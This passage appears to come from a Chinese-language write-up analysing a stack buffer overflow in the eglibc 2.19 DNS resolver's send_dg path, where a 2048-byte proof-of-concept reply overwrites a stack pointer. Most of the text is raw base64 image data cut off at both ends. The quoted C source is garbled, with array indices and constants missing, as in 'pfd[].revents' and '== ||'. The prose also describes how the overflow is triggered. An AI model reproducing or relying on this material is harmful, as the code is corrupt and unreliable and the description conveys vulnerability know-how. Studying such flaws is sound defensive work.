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" alt="" />
函数执行后,answerp2指向的栈空间被覆盖,而之后answerp2指向的地址会被取地址,导致segment fault,跟进__libc_res_nsend分析
\eglibc-2.19\libc\resolv\res_send.c
int
__libc_res_nsend(res_state statp, const u_char *buf, int buflen,
const u_char *buf2, int buflen2,
u_char *ans, int anssiz, u_char **ansp, u_char **ansp2,
int *nansp2, int *resplen2)
{
..
n = send_dg(statp, buf, buflen, buf2, buflen2,
&ans, &anssiz, &terrno,
ns, &v_circuit, &gotsomewhere, ansp,
ansp2, nansp2, resplen2);
..
继续跟进send_dg
} else if (pfd[].revents & POLLIN) { //读取DNS Server返回的回包
int *thisanssizp;
u_char **thisansp;
int *thisresplenp; if ((recvresp1 | recvresp2) == || buf2 == NULL) {
thisanssizp = anssizp; //不管是否接收到回包,thisanssizp 都赋值为 anssizp(可能因为网络延迟),POC返回的anssizp为2048,刚好充满栈空间(user supplied buffer (from _nss_dns_gethostbyname4_r))
thisansp = anscp ?: ansp;
aaarticlea/png;base64,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